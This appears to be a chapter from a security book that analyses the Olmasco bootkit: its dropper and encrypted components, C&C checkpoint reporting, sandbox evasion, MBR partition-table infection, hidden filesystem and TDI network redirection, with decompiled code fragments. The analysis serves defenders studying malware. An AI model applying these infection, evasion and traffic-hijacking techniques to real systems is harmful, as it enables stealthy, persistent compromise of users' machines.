In response to the first wave of bootkits, security developers began work on antivirus products that specifically checked the MBR code for modifications, forcing attackers to look for other infection techniques. In early 2011, the TDL4 family evolved into new malware with infection tricks that had never before been seen in the wild. One example is Olmasco, a bootkit largely based on TDL4 but with a key difference: Olmasco infects the partition table of the MBR rather than the MBR code, allowing it to infect the system and bypass the Kernel-Mode Code Signing Policy while avoiding detection by increasingly savvy antimalware software.
Olmasco is also the first known bootkit to employ a combination of MBR and VBR infection methods, though it still primarily targets the MBR, setting it apart from VBR-infecting bootkits such as Rovnix and Carberp (which we’ll discuss in Chapter 11).
Like its TDL predecessors, Olmasco uses the PPI business model for distribution, which should be familiar from our discussion of the TDL3 rootkit in Chapter 1. The PPI model is similar to schemes used for distributing toolbars for browsers, like Google’s toolbars, and uses embedded unique identifiers (UIDs) to allow distributors to track the number of installations and thus their revenue. Information about the distributor is embedded into the executable, and special servers calculate the number of installations. The distributor is paid a fixed amount of money per a specified number of installations.1
In this chapter, we’ll look at three main aspects of Olmasco: the dropper that infects the system; the bootkit component that infects the MBR partition table; and the rootkit section that hooks the hard drive driver and delivers the payload, leverages the hidden filesystem, and implements functionality to redirect network communication.
A dropper is a special malicious application that acts as the carrier of some other malware stored as an encrypted payload. The dropper arrives at a victim’s computer and unpacks and executes the payload—in our case, the Olmasco infector—which in turn installs and executes the bootkit components onto the system. Droppers usually also implement a number of antidebugging and antiemulation checks, executed before the payload is unpacked, to evade automated malware analysis systems, as we’ll see a little later.
The dropper has a modular structure and stores most of the bootkit’s malicious components in its resource section. Each component (for example, an identifier value, bootloader component, or payload) is stored in a single resource entry encrypted with RC4 (see “The RC4 Stream Cipher” on page 136 for more details). The size of the resource entry is used as a decryption key. Table 10-1 lists the bootkit components in the dropper’s resource section.
Table 10-1: Bootkit Components in the Olmasco Dropper
Resource name |
Description |
affid |
Unique affiliate identifier. |
subid |
Subidentifier of affiliate. This is linked to the affiliate ID, and an affiliate can have multiple subidentifiers. |
boot |
First part of the malicious bootloader. It is executed at the beginning of the boot process. |
cmd32 |
User-mode payload for 32-bit processes. |
cmd64 |
User-mode payload for 64-bit processes. |
dbg32 |
Third part of the malicious bootloader component (fake kdcom.dll library) for 32-bit systems. |
dbg64 |
Third part of the malicious bootloader component (fake kdcom.dll library) for 64-bit systems. |
drv32 |
Malicious kernel-mode driver for 32-bit systems. |
drv64 |
Malicious kernel-mode driver for 64-bit systems. |
ldr32 |
Second part of the malicious bootloader. It is executed by the boot component on 32-bit systems. |
ldr64 |
Second part of the malicious bootloader. It is executed by the boot component on 64-bit systems. |
main |
Unknown. |
build |
Build number of the dropper. |
name |
Name of the dropper. |
vbr |
VBR of the malicious Olmasco partition on the hard drive. |
The identifiers affid and subid are used in the PPI scheme to calculate the number of installations. The parameter affid is the unique identifier of the affiliate (that is, the distributor). The parameter subid is a subidentifier that distinguishes installations from different sources. For instance, if an affiliate of the PPI program distributes the malware from two different file-hosting services, the malware coming from these sources will have the same affid but different subids. This way, the affiliate can compare the number of installations for each subid and determine which source is more profitable.
We’ll discuss the bootkit components boot, vbr, dbg32, dbg64, drv32, drv64, ldr32, and ldr64 shortly, but main, build, and name are described only in the table.
The Olmasco dropper introduced error-reporting functionality to aid developers in further development. After successfully executing each step of infection (that is, each step in the bootkit installation algorithm), the bootkit reports a “checkpoint” to the C&C servers. That means that if installation fails, the developers can determine precisely at which step the failure occurred. In the case of errors, the bootkit sends an additional comprehensive error message, giving developers sufficient information to determine the source of the fault.
The tracing information is sent via the HTTP GET method to a C&C server whose domain name is hardcoded into the dropper. Listing 10-1 shows an Olmasco infector routine decompiled by Hex-Rays that generates a query string to report the status information of the infection.
HINTERNET __cdecl ReportCheckPoint(int check_point_code){
char query_string[0x104];
memset(&query_string, 0, 0x104u);
➊ _snprintf(
&query_string,
0x104u,
"/testadd.php?aid=%s&sid=%s&bid=%s&mode=%s%u%s%s",
*FILE_affid,
*FILE_subid,
&bid,
"check_point",
check_point_code,
&bid,
&bid);
➋ return SendDataToServer(0, &query_string, "GET", 0, 0);
}
Listing 10-1: Sending tracing information to a C&C server
At ➊, the malware executes a _snprintf routine to generate the query string with the dropper’s parameters. At ➋, it sends the request. The value check_point_code corresponds to the ordinal number of the step in the installation algorithm that sent the message. For instance, 1 corresponds to the very first step in the algorithm, 2 to the second step, and so on. At the end of a successful installation, the C&C server receives a sequence of numbers like 1, 2, 3, 4, . . . N, where N is the final step. If a full installation is unsuccessful, the C&C server will receive the sequence 1, 2, 3, . . . P, where P is the step at which the algorithm failed. This allows the malware developers to identify and fix the faulty step in the infection algorithm.
Olmasco also introduced some new tricks for bypassing sandbox analysis and for protection against memory dumps. The dropper is compressed using a custom packer that, once executed, unpacks the original decompressed dropper and wipes out certain fields of its PE header in memory, such as the address of the original entry point and the section table. Figure 10-1 shows a PE header before and after this data deletion. On the left side the PE header is partially destroyed, and on the right side it is unmodified.
Figure 10-1: Erasing PE header data
This trick provides good protection against memory dumping in debugging sessions or automated unpacking. Deleting the valid PE header makes it difficult to determine the geometry of the PE file and dump it correctly, because the dumping software won’t be able to find out the exact location of code and data sections. Without this information, it can’t reconstruct the PE image correctly and will fail.
Olmasco also includes countermeasures for bot trackers based on virtual machines. During installation, Olmasco detects whether the dropper is running in a virtual environment using the Windows Management Instrumentation (WMI) IWbemServices interface and sends this information to a C&C server. If a virtual environment is detected, the dropper halts execution and deletes itself from the filesystem (as opposed to unpacking the malicious binary and exposing it to analysis tools).
NOTE
The Microsoft WMI is a set of interfaces provided on Windows-based platforms for data and operations management. One of its main purposes is to automate administrative tasks on remote computers. From the malware’s point of view, WMI provides a rich set of Component Object Model (COM) objects that it can use to gather comprehensive information on a system, such as platform information, running processes, and security software in use.
The malware also uses WMI to gather the following information about a targeted system:
Computer System name, username, domain name, user workgroup, number of processors, and so on
Processor Number of cores, processor name, data width, and number of logical processors
SCSI controller Name and manufacturer
IDE controller Name and manufacturer
Disk drive Name, model, and interface type
BIOS Name and manufacturer
OS Major and minor version, service pack number, and more
Malware operators can use this information to check the hardware configuration of an infected system and determine whether it’s useful to them. For instance, they can use the BIOS name and manufacturer to detect virtual environments (such as VMware, VirtualBox, Bochs, or QEMU), which are frequently used in automated malware analysis environments and, therefore, of no interest to malware operators.
On the other hand, they can use the system name and domain name to identify the company that owns the infected machine. Using this, they can deploy a custom payload that specifically targets that company.
Once the sandbox checks are finished, the dropper proceeds to install the bootkit component onto the system. The bootkit component of Olmasco has been modified from the TDL4 bootkit (which, as Chapter 7 discussed, overwrites the MBR and reserves space at the end of the bootable hard drive for storing its malicious components), though Olmasco employs a rather different approach for infecting the system.
First, Olmasco creates a partition at the end of the bootable hard drive. Partition tables in Windows hard drives always contain some unpartitioned (or unallocated) space at the end, and usually this space is enough to hold a bootkit’s components—and sometimes more. The malware creates a malicious partition by occupying the unpartitioned space and modifying a free partition table entry in the partition table of the original, legitimate MBR to point to it. Strangely, this newly created malicious partition is limited to 50GB, no matter how much unpartitioned space is available. One possible explanation for limiting the size of the partition is to avoid attracting the attention of a user by taking up all the available unpartitioned space.
As we discussed in Chapter 5, the MBR partition table is at offset 0x1BE from the start of the MBR and consists of four 16-byte entries, each describing a corresponding partition on the hard drive. There are at most four primary partitions on the hard drive, and only one partition can be marked as active, so there is only one partition that the bootkit can boot from. The malware overwrites the first empty entry in the partition table with the parameters of the malicious partition, marks it as active, and initializes the VBR of the newly created partition, as shown in Listing 10-2.
First partition 00212000 0C13DF07 00000800 00032000
Second partition (OS) 0C14DF00 FFFFFE07 00032800 00FCC800
Third partition (Olmasco), Active FFFFFE80 FFFFFE1B ➊00FFF000 ➋00000FB0
Fourth partition (empty) 00000000 00000000 00000000 00000000
Listing 10-2: Partition table after Olmasco infection
Here you can see the malicious partition’s starting address ➊ and size in sectors ➋. If the Olmasco bootkit finds that there is no free entry in the partition table, it reports this to the C&C server and terminates. Figure 10-2 shows what happens to the partition table after the system is infected with Olmasco.
Figure 10-2: Layout of hard drive before and after an Olmasco infection
After infection, a previously empty partition table entry is connected to the Olmasco partition and becomes the active partition entry. You can see that the MBR code itself remains untouched; the only thing affected is the MBR partition table. For additional stealth, the first sector of the Olmasco partition table also looks very similar to the legitimate VBR, meaning security software may be tricked into believing that Olmasco’s partition is a legitimate partition on the hard disk.
Once a system is infected with Olmasco, it will boot accordingly. The boot process of an infected machine is presented in Figure 10-3.
Figure 10-3: Olmasco-infected system boot process
When the infected machine next boots, the malicious VBR ➋ of the Olmasco partition receives control, right after the MBR code is executed ➊ and before the OS bootloader components are loaded. This allows the malware to gain control before the OS does. When a malicious VBR receives control, it reads the boot file from the root directory of Olmasco’s hidden filesystem ➌ and transfers control to it. This boot component plays the same role as the ldr16 module in previous versions of TDL4: it hooks the BIOS interrupt 13h handler ➍ to patch the Boot Configuration Data (BCD) ➎ and loads the VBR of the originally active partition.
Conceptually, the boot processes of Olmasco and TDL4 are very similar, and the components are the same except that Olmasco has different names for the hidden filesystem components, as listed in Table 10-2. The TDL4 boot process was covered in detail in Chapter 7.
Table 10-2: Boot Components of Olmasco vs. TDL4
Olmasco |
TDL4 |
|
boot |
ldr16 |
|
dbg32, dbg64 |
ldr32, ldr64 |
The bootkit’s job is done once it has loaded the malicious kernel-mode driver (➏ in Figure 10-4), which implements Olmasco’s rootkit functionality. The rootkit section of Olmasco is responsible for the following:
The first two elements in the list are essentially the same as in TDL4: Olmasco uses the same techniques to hook the hard drive device object and inject the payload from the hidden filesystem into processes. Hooking the hard drive device object helps prevent the contents of the original MBR from being restored by security software, allowing Olmasco to persist through reboot. Olmasco intercepts all the read/write requests to the hard drive and blocks those that attempt to modify the MBR or read the contents of the hidden filesystem.
The hidden filesystem is an important feature of complex threats such as rootkits and bootkits because it provides a covert channel for storing information on a victim’s computer. Traditional malware relies on the OS filesystem (NTFS, FAT32, extX, and so forth) to store its components, but this makes it vulnerable to forensic analysis or detection by security software. To address this, some advanced malware types implement their own custom filesystem, which they store in an unallocated area of the hard drive. In the vast majority of modern configurations, there are at least a few hundred megabytes of unallocated space at the end of the hard drive, sufficient for storing malicious components and configuration information. With this approach, the files stored in a hidden filesystem aren’t accessible through conventional APIs such as Win32 API CreateFileX, ReadFileX, and so on, but the malware is still able to communicate with the hidden storage and access data stored there through a special interface. The malware usually also encrypts the contents of a hidden filesystem to further hinder forensic analysis.
Figure 10-4 shows an example of a hidden filesystem. You can see that it is located right after the OS filesystem and doesn’t interfere with normal OS operation.
Figure 10-4: A hidden filesystem on a hard drive
Olmasco’s methods for storing payload modules in the hidden filesystem are almost all inherited from the TDL4: it reserves space at the end of the hard drive to house its filesystem, whose contents are protected by low-level hooks and an RC4 stream cipher. However, Olmasco’s developers extended the design and implementation of their hidden filesystem and added enhancements that can support file and folder hierarchy, verify the integrity of a file to check if it is corrupted, and better manage internal filesystem structures.
Whereas the TDL4 hidden filesystem was capable of storing only files, Olmasco’s hidden filesystem can store both files and directories. The root directory is denoted with the usual backslash (). For instance, Listing 10-3 shows a fragment of a VBR in Olmasco’s hidden partition, which loads a file named boot from the root directory using oot ➊.
seg000:01F4 hlt
seg000:01F4 sub_195 endp
seg000:01F5 jmp short loc_1F4
seg000:01F7 aBoot ➊ db 'oot',0
seg000:01FD db 0
Listing 10-3: A fragment of a VBR of an Olmasco partition
Upon reading a file from the filesystem, Olmasco checks for corruption of the contents. This capability wasn’t apparent in TDL4. Olmasco introduced an additional field in each file’s data structure to store the CRC32 checksum value of the file contents. If Olmasco detects corruption, it removes the corresponding entry from the filesystem and frees those occupied sectors, as shown in Listing 10-4.
unsigned int stdcall RkFsLoadFile(FS_DATA_STRUCT *a1, PDEVICE_OBJECT
DeviceObject, const char *FileName, FS_LIST_ENTRY_STRUCT *FileEntry)
{
unsigned int result;
// locate file in the root dir
➊ result = RkFsLocateFileInDir(&a1->root_dir, FileName, FileEntry);
if ( (result & 0xC0000000) != 0xC0000000 ) {
// read the file from the hard drive
➋ result = RkFsReadFile(a1, DeviceObject, FileEntry);
if ( (result & 0xC0000000) != 0xC0000000 ) {
// verify file integrity
➌ result = RkFsCheckFileCRC32(FileEntry);
if ( result == 0xC000003F ) {
// free occupied sectors
➍ MarkBadSectorsAsFree(a1, FileEntry->pFileEntry);
// remove corresponding entry
RkFsRemoveFile(a1, &a1->root_dir, FileEntry->pFileEntry->FileName);
RkFsFreeFileBuffer(FileEntry);
// update directory
RkFsStoreFile(a1, DeviceObject, &a1->root_dir);
RkFsStoreFile(a1, DeviceObject, &a1->bad_file);
// update bitmap of occupied sectors
RkFsStoreFile(a1, DeviceObject, &a1->bitmap_file);
// update root directory
RkFsStoreFile(a1, DeviceObject, &a1->root);
result = 0xC000003F;
}
}
}
return result;
}
Listing 10-4: Reading a file from Olmasco’s hidden filesystem
The routine RkFsLocateFileInDir ➊ locates the file in the directory, reads its contents ➋, and then computes the file CRC32 checksum and compares ➌ it against the value stored in the filesystem. If the values don’t match, the routine deletes the files and frees the sectors occupied by the corrupted file ➍. This makes the hidden filesystem more robust and the rootkit more stable by reducing the chances of loading and executing a corrupted file.
The filesystem implemented in Olmasco is more mature than that implemented in TDL4, so it requires more efficient management in terms of free space usage and data structure manipulations. Two special files, $bad and $bitmap, were introduced to help support filesystem contents.
The $bitmap file contains a bitmap of free sectors in the hidden filesystem. The bitmap is an array of bits, where every bit corresponds to a sector in the filesystem. When a bit is set to 1, it means the corresponding sector is occupied. Using $bitmap helps to find a location in the filesystem for storing a new file.
The $bad file is a bitmask used to track sectors that contain corrupted files. Since Olmasco hijacks the unpartitioned space at the end of the hard drive for the hidden filesystem, there is a possibility that some other software may write to this area and corrupt the contents of Olmasco’s files. The malware marks these sectors in a $bad file to prevent their usage in the future.
Both of these system files occupy the same level as the root directory and are not accessible to the payload, but are for system use only. Interestingly, there are files with the same names in the NTFS. This means Olmasco may also use these files to trick users into believing that the malicious partition is a legitimate NTFS volume.
The Olmasco bootkit’s hidden filesystem has two modules, tdi32 and tdi64, that work with the Transport Driver Interface (TDI). The TDI is a kernel-mode network interface that provides an abstraction layer between transport protocols, such as TCP/IP, and TDI clients, such as sockets. It’s exposed at the upper edge of all transport protocol stacks. A TDI filter allows malware to intercept network communication before it reaches transport protocols.
The tdi32/tdi64 drivers are loaded by the main rootkit driver drv32/drv64 via the undocumented API technique IoCreateDriver(L"\Driver\usbprt", tdi32EntryPoint), where tdi32EntryPoint corresponds to the entry point of the malicious TDI driver. Listing 10-5 shows the routine that attaches the TDI to these device objects.
NTSTATUS ___stdcall_ AttachToNetworkDevices(PDRIVER_OBJECT DriverObject,
PUNICODE_STRING a2)
{
NTSTATUS result;
PDEVICE_OBJECT AttachedToTcp;
PDEVICE_OBJECT AttachedToUdp;
PDEVICE_OBJECT AttachedToIp;
PDEVICE_OBJECT AttachedToRawIp;
result = AttachToDevice(DriverObject, L"\Device\CFPTcpFlt",
➊ L"\Device\Tcp", 0xF8267A6F, &AttachedToTcp);
if ( result >= 0 ) {
result = AttachToDevice(DriverObject, L"\Device\CFPUdpFlt",
➋ L"\Device\Udp", 0xF8267AF0, &AttachedToUdp);
if ( result >= 0 ) {
AttachToDevice(DriverObject, L"\Device\CFPIpFlt",
➌ L"\Device\Ip", 0xF8267A16, &AttachedToIp);
AttachToDevice(DriverObject, L"\Device\CFPRawFlt",
➍ L"\Device\RawIp", 0xF8267A7E, &AttachedToRawIp);
result = 0;
}
}
return result;
}
Listing 10-5: Attaching the TDI driver to network devices
The malicious TDI driver then attaches to the following list of network device objects:
DeviceTcp Provides access to TCP protocol at ➊
DeviceUdp Provides access to UDP protocol at ➋
DeviceIP Provides access to IP protocol at ➌
DeviceRawIp Provides access to raw IP protocol (that is, raw sockets) at ➍
The main functionality of the malicious TDI driver is to monitor TDI_CONNECT requests. If an attempt is made to connect to IP address 1.1.1.1 over one of the hooked protocols, the malware changes it to address 69.175.67.172 and sets the port number to 0x5000. One of the reasons for doing this is to bypass network security software that operates above the TDI layer. In such a case, malicious components may attempt to establish a connection with IP address 1.1.1.1, which is not malicious, shouldn’t draw the attention of security software, and is processed further up than the TDI level. At this point, the malicious tdi component replaces the original value of the destination with the value 69.175.67.172, and the connection is rerouted to another host.
In this chapter, we looked at how the Olmasco bootkit uses the MBR partition table as another bootkit infection vector. Olmasco is a descendant of the notorious TDL4 bootkit and inherits much of its functionality, while adding a few tricks of its own; its combination of MBR partition table modification and use of a fake VBR makes it stealthier than its predecessor. In the following chapters, we’ll consider two more bootkits that target the VBR using sophisticated infection techniques: Rovnix and Gapz.
3.147.49.252